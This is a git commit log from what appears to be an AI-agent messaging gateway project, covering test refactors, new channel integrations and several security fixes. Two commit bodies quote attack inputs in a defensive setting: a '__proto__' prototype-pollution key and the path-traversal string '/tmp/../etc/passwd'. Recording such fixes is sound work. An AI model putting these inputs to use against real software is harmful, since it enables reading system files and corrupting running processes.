bdbbcbcc11 test: dedupe telegram draft stream setup and extend state-dir env coverage 2026-02-22 07:46:17 +00:00
Peter Steinberger
265da4dd2a fix(security): harden gateway command/audit guardrails 2026-02-22 08:45:48 +01:00
Peter Steinberger
121d027229 chore: remove dead plugin hook loader 2026-02-22 08:45:24 +01:00
Peter Steinberger
185fba1d22 refactor(agents): dedupe plugin hooks and test helpers 2026-02-22 07:44:57 +00:00
Peter Steinberger
75c1bfbae8 refactor(channels): dedupe message routing and telegram helpers 2026-02-22 07:44:57 +00:00
Peter Steinberger
b109fa53ea refactor(core): dedupe gateway runtime and config tests 2026-02-22 07:44:57 +00:00
Peter Steinberger
ad1c07e7c0 refactor: eliminate remaining duplicate blocks across draft streams and tests 2026-02-22 07:44:57 +00:00
Peter Steinberger
abf3dfc375 refactor(agents): reuse shared tool-policy base helpers 2026-02-22 07:44:57 +00:00
Peter Steinberger
794c902e50 refactor(agents): share volc model catalog helpers 2026-02-22 07:44:57 +00:00
Peter Steinberger
86907aa500 test: dedupe lifecycle oauth and prompt-limit fixtures 2026-02-22 07:44:57 +00:00
Peter Steinberger
4a1b6e42fd test(agents): dedupe sanitize-session-history copilot fixtures 2026-02-22 07:44:57 +00:00
Peter Steinberger
ea91933e2c test(agents): dedupe spawn-hook wait mocks and add readiness error coverage 2026-02-22 07:44:57 +00:00
Peter Steinberger
639b2f5f5b test(browser): dedupe pw-session playwright mock wiring 2026-02-22 07:44:57 +00:00
Peter Steinberger
6bc753624f test(browser): dedupe generated-token persistence assertions 2026-02-22 07:44:57 +00:00
Peter Steinberger
4f7032fbd9 test(utils): share temp-dir helper across cli and web tests 2026-02-22 07:44:57 +00:00
Peter Steinberger
23e07bc49c test(agent): reuse isolated agent mock setup 2026-02-22 07:44:57 +00:00
Peter Steinberger
9ec440d1f4 test(hooks): dedupe unsupported npm spec assertion 2026-02-22 07:44:57 +00:00
Peter Steinberger
d325c01503 test(gateway): dedupe canvas ws connect assertions 2026-02-22 07:44:57 +00:00
Peter Steinberger
6471ff02dc test(gateway): dedupe chat history transcript helpers 2026-02-22 07:44:57 +00:00
Peter Steinberger
64b9ae8fb1 test(gateway): reuse shared openai timeout e2e helpers 2026-02-22 07:44:57 +00:00
Peter Steinberger
271999d42a test(config): dedupe nested redaction round-trip assertions 2026-02-22 07:44:57 +00:00
Peter Steinberger
71c17da2ba test(config): dedupe traversal include assertions 2026-02-22 07:44:57 +00:00
Peter Steinberger
c4aac407dc test(gateway): dedupe openai context assertions 2026-02-22 07:44:57 +00:00
Peter Steinberger
b0f6f18569 test(gateway): dedupe control-ui not-found fixture assertions 2026-02-22 07:44:57 +00:00
Peter Steinberger
7778eee5e3 test(cron): dedupe delivered-status run scaffolding 2026-02-22 07:44:57 +00:00
Peter Steinberger
4c8545ad53 test(browser): dedupe relay probe server scaffolding 2026-02-22 07:44:57 +00:00
Peter Steinberger
16f6b55cd4 test(gateway): dedupe tailscale header auth fixtures 2026-02-22 07:44:57 +00:00
Peter Steinberger
44a272ef67 refactor(config): dedupe legacy stream-mode migration paths 2026-02-22 07:44:57 +00:00
Peter Steinberger
0e68789ebf test(discord): dedupe guild permission route mocks 2026-02-22 07:44:57 +00:00
Peter Steinberger
f41be7159c test(pi): share overflow-compaction test setup 2026-02-22 07:44:57 +00:00
Peter Steinberger
2cf9c3abe4 test(models): dedupe auth-sync command assertions 2026-02-22 07:44:57 +00:00
Peter Steinberger
b791ac2167 refactor(logging): share node createRequire resolution 2026-02-22 07:44:57 +00:00
Peter Steinberger
b25fd03b8c refactor(node-host): share invoke type definitions 2026-02-22 07:44:57 +00:00
Peter Steinberger
a32edf423b refactor(text): share code-region parsing for reasoning tags 2026-02-22 07:44:57 +00:00
Peter Steinberger
a2a19cdad2 test(gateway): dedupe transcript seed fixtures in fs session tests 2026-02-22 07:44:57 +00:00
Peter Steinberger
b03656a771 test(auth-profiles): dedupe oauth mode resolution setup 2026-02-22 07:44:57 +00:00
Peter Steinberger
fd8b7b5c4a test(outbound): share resolveOutboundTarget test suite 2026-02-22 07:44:57 +00:00
Peter Steinberger
b6ce5e06cd test(memory): share short-timeout test helper 2026-02-22 07:44:57 +00:00
Peter Steinberger
b257ba9e30 test(auth-profiles): dedupe cleared-state assertions 2026-02-22 07:44:57 +00:00
Peter Steinberger
d069f8b23a test(subagents): dedupe focus thread setup fixtures 2026-02-22 07:44:57 +00:00
Peter Steinberger
d476994fb9 test(memory): share memory-tool manager mock fixture 2026-02-22 07:44:57 +00:00
Peter Steinberger
07d09c881d test(wizard): share onboarding prompter scaffold 2026-02-22 07:44:57 +00:00
Peter Steinberger
3d718b5c37 test(security): dedupe external marker sanitization assertions 2026-02-22 07:44:57 +00:00
Peter Steinberger
df35829810 test(inbound): share dispatch capture mock across channels 2026-02-22 07:44:57 +00:00
Peter Steinberger
be0e0ebf89 test(discord): share resolve-users guild probe fixture 2026-02-22 07:44:57 +00:00
Peter Steinberger
8613b6c6ee test(discord): share message handler draft fixtures 2026-02-22 07:44:57 +00:00
Peter Steinberger
cca4dba53b test(discord): share model picker fallback fixtures 2026-02-22 07:44:57 +00:00
Peter Steinberger
77a8a253a9 refactor(discord): dedupe voice command runtime checks 2026-02-22 07:44:57 +00:00
Peter Steinberger
6fe4bbc24f test(infra): dedupe shell env fallback test setup 2026-02-22 07:44:57 +00:00
Peter Steinberger
3664d51b6f test(discord): share thread binding sweep fixtures 2026-02-22 07:44:57 +00:00
Peter Steinberger
a9fa434191 test(discord): share provider lifecycle test harness 2026-02-22 07:44:56 +00:00
Peter Steinberger
a4b3aeeefa test(gateway): reuse last agent command assertion helper 2026-02-22 07:44:56 +00:00
Peter Steinberger
244ccc801e refactor(commands): share preview streaming migration logic 2026-02-22 07:44:56 +00:00
Peter Steinberger
474ba45a2f refactor(slack): dedupe modal lifecycle interaction handlers 2026-02-22 07:44:56 +00:00
Peter Steinberger
9d17a30643 refactor(cli): share pinned npm install record helper 2026-02-22 07:44:56 +00:00
Peter Steinberger
2d4e4e2288 refactor(cli): share npm install metadata helpers 2026-02-22 07:44:56 +00:00
Peter Steinberger
d6ad647f56 test(cli): share nodes ios fixture helpers 2026-02-22 07:44:56 +00:00
Peter Steinberger
fb73c0034e refactor(cli): extract fish completion line builders 2026-02-22 07:44:56 +00:00
Peter Steinberger
fc54e3eabd test(cli): dedupe cron shared test fixtures 2026-02-22 07:44:56 +00:00
Peter Steinberger
ae07d3fa0f test(cli): dedupe update restart fallback scenario setup 2026-02-22 07:44:56 +00:00
Peter Steinberger
266b3a356d refactor(cli): dedupe allowlist command wiring 2026-02-22 07:44:56 +00:00
Peter Steinberger
7c9e1bada0 refactor(cli): dedupe channel auth resolution flow 2026-02-22 07:44:56 +00:00
Peter Steinberger
c21792f5a0 refactor(cli): dedupe skills command report loading 2026-02-22 07:44:56 +00:00
Peter Steinberger
3284d2eb22 fix(security): normalize hook auth rate-limit client keys 2026-02-22 08:40:49 +01:00
Vignesh Natarajan
aab20e58d7 Sessions: persist prompt-token totals without usage 2026-02-21 23:37:42 -08:00
Peter Steinberger
76828e8dc8 test(agents): use lightweight clears for stable subagent announce defaults 2026-02-22 07:35:55 +00:00
Peter Steinberger
649e910465 test(models): use lightweight clears in shared config setup 2026-02-22 07:35:55 +00:00
Peter Steinberger
e729c992a7 test(cli): use lightweight clears in daemon lifecycle setup 2026-02-22 07:35:55 +00:00
Peter Steinberger
2fd57cec0b test(commands): trim dashboard setup resets and dedupe bind cases 2026-02-22 07:35:55 +00:00
Peter Steinberger
076c5ebaef test(hooks): use lightweight clears for gmail watcher log spies 2026-02-22 07:35:55 +00:00
Peter Steinberger
856b5aca2c test(outbound): use lightweight clears in send service setup 2026-02-22 07:35:55 +00:00
Peter Steinberger
d4b0397378 test(outbound): use lightweight clears in sendMessage setup 2026-02-22 07:35:55 +00:00
Peter Steinberger
b55979844b test(tui): dedupe local bind loopback assertions 2026-02-22 07:35:55 +00:00
Peter Steinberger
fad2c0c8a1 test(auto-reply): trim setup resets in block streaming and subagent focus 2026-02-22 07:35:55 +00:00
Peter Steinberger
f37a09a9e6 test(discord): use lightweight clears in outbound plugin setup 2026-02-22 07:35:55 +00:00
Peter Steinberger
a9b14df1e3 test(signal): use lightweight clears in sender-prefix and receipts setup 2026-02-22 07:35:55 +00:00
Peter Steinberger
14d6b3741c test(channels): use lightweight clears in probe and reaction setup 2026-02-22 07:35:55 +00:00
Peter Steinberger
f28fcf243a test(cli): use lightweight clears in message helper and gateway chat setup 2026-02-22 07:35:54 +00:00
Peter Steinberger
735fc23faf test(discord): use lightweight clears in tool-result setup 2026-02-22 07:35:54 +00:00
Peter Steinberger
c2600c5d75 test(cli): use lightweight clear for gateway discover beacon mock 2026-02-22 07:35:54 +00:00
Peter Steinberger
856b8e28a6 test(discord): use lightweight clear for thread binding rest mock 2026-02-22 07:35:54 +00:00
Peter Steinberger
42f27ca39d test(cli): seed stable defaults while replacing setup resets 2026-02-22 07:35:54 +00:00
Peter Steinberger
391d32d461 test(cli): use lightweight clear for cron gateway mock 2026-02-22 07:35:54 +00:00
Peter Steinberger
cea5bcc4ac test(cli): use lightweight clear for memory manager mock 2026-02-22 07:35:54 +00:00
Peter Steinberger
0858512abd test(cli): use lightweight clear for logs gateway mock 2026-02-22 07:35:54 +00:00
Peter Steinberger
ab159a68c9 test(cli): use lightweight clears for browser extension runtime spies 2026-02-22 07:35:54 +00:00
Peter Steinberger
a038ad29f9 test(cli): keep pairing notify mock on clear with default resolve 2026-02-22 07:35:54 +00:00
Peter Steinberger
f4afa12054 test(discord): seed exec-approval rest mocks with lightweight clears 2026-02-22 07:35:54 +00:00
Peter Steinberger
7ed3ee0a26 test(discord): use lightweight clears in message-handler setup 2026-02-22 07:35:54 +00:00
Peter Steinberger
e36f857e46 test(cli): seed restart and doctor defaults with lightweight clears 2026-02-22 07:35:54 +00:00
Peter Steinberger
706837f6a3 test(discord): trim proxy and reply-delivery setup resets 2026-02-22 07:35:54 +00:00
Peter Steinberger
1e1851a991 test(discord): use lightweight clears for media utility mocks 2026-02-22 07:35:54 +00:00
Peter Steinberger
e2603aecf5 test(discord): use lightweight clears in provider setup 2026-02-22 07:35:54 +00:00
Peter Steinberger
10328892fa test(discord): use mock clears in monitor setup defaults 2026-02-22 07:35:54 +00:00
Peter Steinberger
a3936264ea test(slack): use lightweight clears for interaction event mock 2026-02-22 07:35:54 +00:00
Peter Steinberger
142e8cb383 test(cli): use lightweight clears for devices runtime/detail mocks 2026-02-22 07:35:54 +00:00
Peter Steinberger
67aef31187 test(cli): replace setup mock resets with clears in update suite 2026-02-22 07:35:54 +00:00
Peter Steinberger
3a80934aaa test(telegram): drop redundant plugin auth mock resets 2026-02-22 07:35:54 +00:00
Peter Steinberger
342cd19e91 test(telegram): keep session-store mocks on clear in dispatch setup 2026-02-22 07:35:54 +00:00
Peter Steinberger
4a42bc64af test(telegram): scope fake timers in probe retry tests 2026-02-22 07:35:54 +00:00
Peter Steinberger
b3c5b532ad test(outbound): replace setup mock resets with clears 2026-02-22 07:35:54 +00:00
Peter Steinberger
91dd21b6b6 test(telegram): table-drive proxy client assertions and trim resets 2026-02-22 07:35:54 +00:00
Peter Steinberger
397d48c0a4 test(telegram): avoid heavy pairing-store mock reset in dm flow loop 2026-02-22 07:35:54 +00:00
Peter Steinberger
fcb191c5cb test(telegram): dedupe bot message processor call setup 2026-02-22 07:35:54 +00:00
Peter Steinberger
e14af1a346 test(telegram): use lightweight mock clears in native command setup 2026-02-22 07:35:54 +00:00
Peter Steinberger
c42a7aff37 test(telegram): trim setup resets and table-drive edit fallback cases 2026-02-22 07:35:54 +00:00
Peter Steinberger
e0db04a50d fix(security): harden avatar validation and size limits 2026-02-22 08:35:32 +01:00
Peter Steinberger
049b8b14bc fix(security): flag open-group runtime/fs exposure in audit 2026-02-22 08:22:51 +01:00
Peter Steinberger
17c9d550e9 docs: clarify sessionKey trust boundary in security policy 2026-02-22 08:21:53 +01:00
Peter Steinberger
4508b818a1 fix(acp): escape C0/C1 controls in resource link metadata 2026-02-22 08:16:38 +01:00
Peter Steinberger
55e38d3b44 refactor: extract tmp media resolver helper and dedupe sandbox-path tests 2026-02-22 08:11:46 +01:00
Vignesh Natarajan
8202582f4b chore: fix sanitizeSessionHistory test harness typing 2026-02-21 23:08:33 -08:00
Vignesh Natarajan
cdfe45eeb8 Agents: validate persisted tool-call names 2026-02-21 23:06:44 -08:00
Vignesh Natarajan
29a782b9cd Models/Config: default missing Anthropic model api fields 2026-02-21 22:50:43 -08:00
Vignesh Natarajan
7f611f0e13 chore: widen hook-runner test mock signatures for tsgo 2026-02-21 22:35:55 -08:00
Vignesh Natarajan
542fc169d2 Plugins/Hooks: avoid duplicate before_agent_start executions 2026-02-21 22:31:51 -08:00
Vignesh Natarajan
96c985400d BlueBubbles: accept webhook payloads with missing handles 2026-02-21 22:10:30 -08:00
Pierre
4f700e96af Fix Telegram DM last-route metadata leakage (#19491)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 16b025b3aa
Co-authored-by: guirguispierre <22091706+guirguispierre@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-22 11:29:59 +05:30
Vignesh Natarajan
54e5f80424 Browser: accept canonical upload paths for symlinked roots 2026-02-21 21:54:57 -08:00
Vignesh Natarajan
98b2b16ac3 Security/Exec: persist inner commands for shell-wrapper approvals 2026-02-21 21:26:20 -08:00
miz-cha
2f023a4775 fix(telegram): disable autoSelectFamily by default on WSL2 (#21916)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 431fd96670
Co-authored-by: MizukiMachine <185313792+MizukiMachine@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-22 10:54:49 +05:30
Vignesh Natarajan
73b4330d4c CLI/Config: keep explicitly unset keys removed 2026-02-21 21:08:04 -08:00
Robin Waslander
daf036a4f6 fix(slash): persist channel metadata from slash command sessions (#23065)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 29fa20c7d7
Co-authored-by: hydro13 <6640526+hydro13@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-22 10:29:06 +05:30
Vignesh Natarajan
6d11b46994 Media: preserve PDF MIME classification in file extraction 2026-02-21 20:50:25 -08:00
Ayaan Zaidi
63b4c500d9 fix: prevent Telegram preview stream cross-edit race (#23202)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 529abf209d
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-22 10:04:33 +05:30
Vignesh Natarajan
413f81b856 Memory/QMD: migrate legacy unscoped collections 2026-02-21 20:31:12 -08:00
Vignesh Natarajan
961bde27fe Cron: guard missing expr in schedule parsing 2026-02-21 20:18:11 -08:00
Vignesh Natarajan
eea0a68199 chore: make tui callback invocation tsgo-safe 2026-02-21 20:05:25 -08:00
Vignesh Natarajan
2b5952f8c3 chore: fix tui test callback narrowing for CI 2026-02-21 20:03:32 -08:00
Vignesh Natarajan
c51c2a2dca Slack: preserve slash options receiver binding 2026-02-21 20:01:39 -08:00
Tak Hoffman
2e9ee22a9c UI: fix light-mode chat toggle active state 2026-02-21 21:55:21 -06:00
Vignesh Natarajan
8920e281cc Plugins: allowlist plugins when enabling from CLI 2026-02-21 19:37:26 -08:00
Vignesh Natarajan
483c464b62 Gateway: preserve token scopes on scope-less repair approvals 2026-02-21 19:37:15 -08:00
Vignesh Natarajan
55d492b4cd Gateway: allow operator admin scope for pairing and approvals 2026-02-21 19:37:04 -08:00
Vignesh Natarajan
68cb4fc8a1 TUI: render sending and waiting indicators immediately 2026-02-21 19:28:42 -08:00
Vignesh Natarajan
68b92e80f7 Agents: log lifecycle error text for embedded run failures 2026-02-21 19:24:45 -08:00
Vignesh Natarajan
35fe33aa90 Agents: classify Anthropic api_error internal server failures for fallback 2026-02-21 19:22:16 -08:00
Vignesh Natarajan
a10d689860 TUI: coalesce multiline paste submits on macOS terminals 2026-02-21 19:19:55 -08:00
Vignesh Natarajan
f2d664e24f Gateway: deep-compare array config paths for reload diff 2026-02-21 19:17:46 -08:00
Vignesh Natarajan
2830dafbe9 Cron: keep list/status responsive during startup catch-up 2026-02-21 19:13:04 -08:00
Vignesh Natarajan
c45a5c551f Agents: preserve unsafe integer tool args in Ollama stream 2026-02-21 19:08:31 -08:00
Vignesh Natarajan
4550a52007 TUI: filter model picker to allowlisted models 2026-02-21 19:03:15 -08:00
Andrew Jeon
853ae626fa feat: add Korean language support for memory search query expansion (#18899)
* feat: add Korean stop words and tokenization for memory search

* fix: address review comments on Korean query expansion

* fix: lint errors - curly brace and toSorted

* fix(memory): improve Korean stop words and deduplicate

* Memory: tighten Korean query expansion filtering

* Docs/Changelog: credit Korean memory query expansion

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-21 21:33:30 -05:00
Vignesh Natarajan
5b4409d5d0 fix: pairing admin satisfies write (#23125) (thanks @vignesh07) 2026-02-21 18:25:13 -08:00
vignesh07
426d97797d fix(pairing): treat operator.admin as satisfying operator.write 2026-02-21 18:25:13 -08:00
vignesh07
a37e12eabc docs(changelog): credit nicole-luxe for mcporter QMD work 2026-02-21 17:32:59 -08:00
Vincent Koc
7a6ff4c55a docs(changelog): credit BlueBubbles DM history fix (#23095) 2026-02-21 20:03:17 -05:00
Ryan Haines
75a9ea004b Fix BlueBubbles DM history backfill bug (#20302)
* feat: implement DM history backfill for BlueBubbles

- Add fetchBlueBubblesHistory function to fetch message history from API
- Modify processMessage to fetch history for both groups and DMs
- Use dmHistoryLimit for DMs and historyLimit for groups
- Add InboundHistory field to finalizeInboundContext call

Fixes #20296

* style: format with oxfmt

* address review: in-memory history cache, resolveAccount try/catch, include is_from_me

- Wrap resolveAccount in try/catch instead of unreachable guard (it throws)
- Include is_from_me messages with 'me' sender label for full conversation context
- Add in-memory rolling history map (chatHistories) matching other channel patterns
- API backfill only on first message per chat, not every incoming message
- Remove unused buildInboundHistoryFromEntries import

* chore: remove unused buildInboundHistoryFromEntries helper

Dead code flagged by Greptile — mapping is done inline in
monitor-processing.ts.

* BlueBubbles: harden DM history backfill state handling

* BlueBubbles: add bounded exponential backoff and history payload guards

* BlueBubbles: evict merged history keys

* Update extensions/bluebubbles/src/monitor-processing.ts

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

---------

Co-authored-by: Ryan Mac Mini <ryanmacmini@ryans-mac-mini.tailf78f8b.ts.net>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-02-21 20:00:09 -05:00
Vignesh
3317b49d3b feat(memory): allow QMD searches via mcporter keep-alive (openclaw#19617) thanks @vignesh07
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: vignesh07 <1436853+vignesh07@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-21 18:54:33 -06:00
Peter Steinberger
2e8e357bf7 test(telegram): use mockClear in per-case bot setup loops 2026-02-21 23:59:08 +00:00
Peter Steinberger
057233953e test(retry): table-drive retryAfter timer cases 2026-02-21 23:58:33 +00:00
Peter Steinberger
1381c4c64a test(telegram): replace redundant bot setup mock resets with clears 2026-02-21 23:58:33 +00:00
Peter Steinberger
5af39b051d test(telegram): dedupe send fallback/media fixtures and trim reset overhead 2026-02-21 23:58:33 +00:00
Peter Steinberger
dfe0483d80 test(browser): table-drive scroll and click error rewrites 2026-02-21 23:58:33 +00:00
Peter Steinberger
8083cb8e0b test(web-fetch): dedupe blocked-url SSRF assertions 2026-02-21 23:58:33 +00:00
Peter Steinberger
a97992fcf2 test(pi-tools): share safeBins e2e setup and teardown 2026-02-21 23:58:33 +00:00
Peter Steinberger
ba23d2b1fe test(onboard): table-drive custom api flag rejection cases 2026-02-21 23:58:33 +00:00
Peter Steinberger
8cc3a5e460 test(doctor): tighten legacy migration e2e timeout budgets 2026-02-21 23:58:33 +00:00
Peter Steinberger
012654c7c5 test(sandbox): table-drive dangerous docker config rejection cases 2026-02-21 23:58:33 +00:00
Peter Steinberger
a353dae14f test(image-tool): share temp agent dirs and table-drive validation cases 2026-02-21 23:58:33 +00:00
Peter Steinberger
150c048b0a refactor: unify discord listener slow-log flow and test helpers 2026-02-22 00:44:56 +01:00
Peter Steinberger
f589295a0a test(actions): table-drive discord presence mappings 2026-02-21 23:44:01 +00:00
Peter Steinberger
0afd5d38c5 test(actions): table-drive discord reaction and permission cases 2026-02-21 23:43:01 +00:00
Peter Steinberger
2595690a4d test(actions): table-drive slack and telegram action cases 2026-02-21 23:43:01 +00:00
Peter Steinberger
7707e3406c fix: await DiscordMessageListener handler for queued messages (#22396)
Co-authored-by: Irene <huangxiyan2311@gmail.com>
2026-02-22 00:41:46 +01:00
Peter Steinberger
8922cb4085 test(sandbox): share sandbox-root setup across path cases 2026-02-21 23:38:43 +00:00
Peter Steinberger
548c227411 test: fix nodes camera case typing for CI 2026-02-22 00:38:36 +01:00
Peter Steinberger
6ea47c3f02 test(outbound): table-drive pre-aborted action cases 2026-02-21 23:37:12 +00:00
Peter Steinberger
8af676edb3 test: tighten web and cron cli timeout budgets 2026-02-21 23:36:24 +00:00
Peter Steinberger
204f379f6b test(archive): share zip/tar fixture generation 2026-02-21 23:35:21 +00:00
Peter Steinberger
9aa5b5d157 test(logging): dedupe stream and state-dir env assertions 2026-02-21 23:34:38 +00:00
Peter Steinberger
ffd9b86ca4 test(ssrf): table-drive blocked hostname literal checks 2026-02-21 23:33:47 +00:00
Peter Steinberger
e84d89ab06 test(gateway): extract shared parse warning helper 2026-02-21 23:32:32 +00:00
Peter Steinberger
d3991d6aa9 fix: harden sandbox tmp media validation (#17892) (thanks @dashed) 2026-02-22 00:31:21 +01:00
Alberto Leal
2958a8414d test(media): narrow result kind before sendResult assertion 2026-02-22 00:31:21 +01:00
Alberto Leal
8934da785b test(media): verify tmpdir media paths allowed through message action runner
Add integration test confirming that runMessageAction with a sandbox
root now accepts media paths under os.tmpdir() through the full
normalization pipeline (normalizeSandboxMediaList → resolveSandboxedMediaSource).
2026-02-22 00:31:21 +01:00
Alberto Leal
0bb81f7294 fix(media): allow os.tmpdir() paths in sandbox media source validation
resolveSandboxedMediaSource() rejected all paths outside the sandbox
workspace root, including /tmp. This blocked sandboxed agents from
sending locally-generated temp files (e.g. images from Python scripts)
via messaging actions.

Add an os.tmpdir() prefix check before the strict sandbox containment
assertion, consistent with buildMediaLocalRoots() which already
includes os.tmpdir() in its default allowlist. Path traversal through
/tmp (e.g. /tmp/../etc/passwd) is prevented by path.resolve()
normalization before the prefix check.

Relates-to: #16382, #14174
2026-02-22 00:31:21 +01:00
Alberto Leal
4cf5c3e109 test: add unit tests for resolveSandboxedMediaSource
Add baseline test coverage for the previously untested
resolveSandboxedMediaSource() function, covering sandbox-relative
path resolution, rejection of paths outside the sandbox root,
path traversal prevention, file:// URL handling, HTTP URL
passthrough, and empty input edge cases.
2026-02-22 00:31:21 +01:00
Peter Steinberger
59563847e4 test(web): table-drive SSRF and voice input rejection cases 2026-02-21 23:30:13 +00:00
Peter Steinberger
d748657265 test(gateway): table-drive runtime config validation matrix 2026-02-21 23:29:29 +00:00
Peter Steinberger
4ab85cee0b test(cli): table-drive repeated argv and byte-size checks 2026-02-21 23:28:07 +00:00
Peter Steinberger
fc2ed0b843 test(cron): dedupe webhook patch validation cases 2026-02-21 23:28:07 +00:00
Peter Steinberger
bcfae0434b test(fetch): table-drive sync throw cleanup coverage 2026-02-21 23:28:07 +00:00
Peter Steinberger
833144fd72 test(gateway): tighten e2e timeout budget 2026-02-21 23:28:07 +00:00
Peter Steinberger
dd4e8f8098 test(cli): table-drive camera url failure cases 2026-02-21 23:28:07 +00:00
Peter Steinberger
c9593c4c87 test(sandbox): table-drive bind and network validation cases 2026-02-21 23:28:07 +00:00
Peter Steinberger
7c248cca4a test(targets): table-drive slack and discord parse cases 2026-02-21 23:28:07 +00:00
Peter Steinberger
98790339ef test: dedupe repeated validation and throw assertions 2026-02-21 23:28:07 +00:00
Peter Steinberger
01ec832f78 test(actions): table-drive telegram and signal mappings 2026-02-21 23:28:06 +00:00
Peter Steinberger
884c6afc26 test(telegram): table-drive channel override and id helper cases 2026-02-21 23:28:06 +00:00
Peter Steinberger
b97691f3a7 test(config): avoid duplicate include resolution in throw assertions 2026-02-21 23:28:06 +00:00
Peter Steinberger
c78ea8ec3f test(gateway): tighten health e2e timeout ceilings 2026-02-21 23:28:06 +00:00
Peter Steinberger
8cdb184f10 test(actions): table-drive discord forwarding cases 2026-02-21 23:28:06 +00:00
Peter Steinberger
95dab6e019 fix: harden config prototype-key guards (#22968) (thanks @Clawborn) 2026-02-22 00:25:22 +01:00
Clawborn
e23c08b5f4 Fix prototype pollution in applyMergePatch via blocked key filter
applyMergePatch in merge-patch.ts iterates Object.entries(patch) without
filtering dangerous keys. When a caller passes a JSON-parsed object with
a "__proto__" key, the loop assigns result["__proto__"] = value, which
replaces the prototype of result and pollutes Object.prototype for the
entire process.

Add a BLOCKED_KEYS set ({"__proto__", "constructor", "prototype"}) and
skip those keys during iteration, matching the guard already present in
deepMerge (includes.ts) via isBlockedObjectKey.

Adds four tests covering __proto__, constructor, prototype, and nested
__proto__ injection.

Co-authored-by: Clawborn <tianrun.yang103@gmail.com>
2026-02-22 00:25:22 +01:00
Peter Steinberger
780bbbd062 fix: restore CI checks after #23012 (thanks @druide67) 2026-02-22 00:16:15 +01:00
Peter Steinberger
1ef30b82b2 fix(test): guard optional forum topic options 2026-02-22 00:10:07 +01:00
Peter Steinberger
843a037532 fix(test): repair readonly case table typing 2026-02-22 00:10:07 +01:00
Peter Steinberger
8394f0e30e fix(test): resolve outbound envelope case typing 2026-02-22 00:10:07 +01:00
Peter Steinberger
8752203f59 refactor(test): stabilize case tables and readonly helper inputs 2026-02-22 00:10:07 +01:00
Jean-Marc
03586e3d00 feat(channels): add Synology Chat native channel (#23012)
* feat(channels): add Synology Chat native channel

Webhook-based integration with Synology NAS Chat (DSM 7+).
Supports outgoing webhooks, incoming messages, multi-account,
DM policies, rate limiting, and input sanitization.

- HMAC-based constant-time token validation
- Configurable SSL verification (allowInsecureSsl) for self-signed NAS certs
- 54 unit tests across 5 test suites
- Follows the same ChannelPlugin pattern as LINE/Discord/Telegram

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* feat(synology-chat): add pairing, warnings, messaging, agent hints

- Enable media capability (file_url already supported by client)
- Add pairing.notifyApproval to message approved users
- Add security.collectWarnings for missing token/URL, insecure SSL, open DM policy
- Add messaging.normalizeTarget and targetResolver for user ID resolution
- Add directory stubs (self, listPeers, listGroups)
- Add agentPrompt.messageToolHints with Synology Chat formatting guide
- 63 tests (up from 54), all passing

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-22 00:09:58 +01:00
Peter Steinberger
fbf0c99d7c test(security): simplify repeated audit finding assertions 2026-02-21 23:09:15 +00:00
Peter Steinberger
d5cc357737 test(telegram): table-drive sticker and forum-topic cases 2026-02-21 23:07:58 +00:00
Peter Steinberger
b1c50cc5c0 test(browser): tighten relay test watchdog timeouts 2026-02-21 23:07:58 +00:00
Peter Steinberger
1534248169 test(telegram): dedupe shared reply/chat-not-found cases 2026-02-21 23:07:58 +00:00
Marcus Widing
fa4e4efd92 fix(gateway): restore localhost Control UI pairing when allowInsecureAuth is set (#22996)
* fix(gateway): allow localhost Control UI without device identity when allowInsecureAuth is set

* fix(gateway): pass isLocalClient to evaluateMissingDeviceIdentity

* test: add regression tests for localhost Control UI pairing

* fix(gateway): require pairing for legacy metadata upgrades

* test(gateway): fix legacy metadata e2e ws typing

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-22 00:04:52 +01:00
Peter Steinberger
bfe016fa29 fix: clear stale remote discovery endpoints (#21618) (thanks @bmendonca3) 2026-02-22 00:04:36 +01:00
Peter Steinberger
37d5320f6b test: tighten canvas host websocket watchdog timeouts 2026-02-21 23:02:44 +00:00
Peter Steinberger
5164822cd5 test: table-drive status reactions and session key cases 2026-02-21 23:02:44 +00:00
Peter Steinberger
389630fc64 test: table-drive internal hook type-guard cases 2026-02-21 23:02:44 +00:00
Peter Steinberger
4a2ff03f49 test: dedupe channel/web cases and tighten gateway e2e waits 2026-02-21 23:02:44 +00:00
Peter Steinberger
c708a18b0f test: table-drive utils and channel-match cases 2026-02-21 23:02:44 +00:00
Peter Steinberger
1b0e021e91 test(telegram): table-drive pairing DM scenarios 2026-02-21 23:02:44 +00:00
Peter Steinberger
f3d4045c03 test: matrix owner and timezone system-prompt cases 2026-02-21 23:02:44 +00:00
Peter Steinberger
0e39371dc4 test: dedupe command gating coverage tables 2026-02-21 23:02:44 +00:00
Peter Steinberger
b2de8719ad test(gateway): normalize canvas ws watchdog timeouts 2026-02-21 23:02:44 +00:00
Peter Steinberger
7731f28a24 test(ui): matrix chat indicator rendering cases 2026-02-21 23:02:44 +00:00
Peter Steinberger
5fd1d2cadc test(ui): collapse session key/display name fixtures 2026-02-21 23:02:44 +00:00
Peter Steinberger
81a85c19ff test(gateway): tighten e2e timeouts and dedupe invoke checks 2026-02-21 23:02:44 +00:00
Peter Steinberger
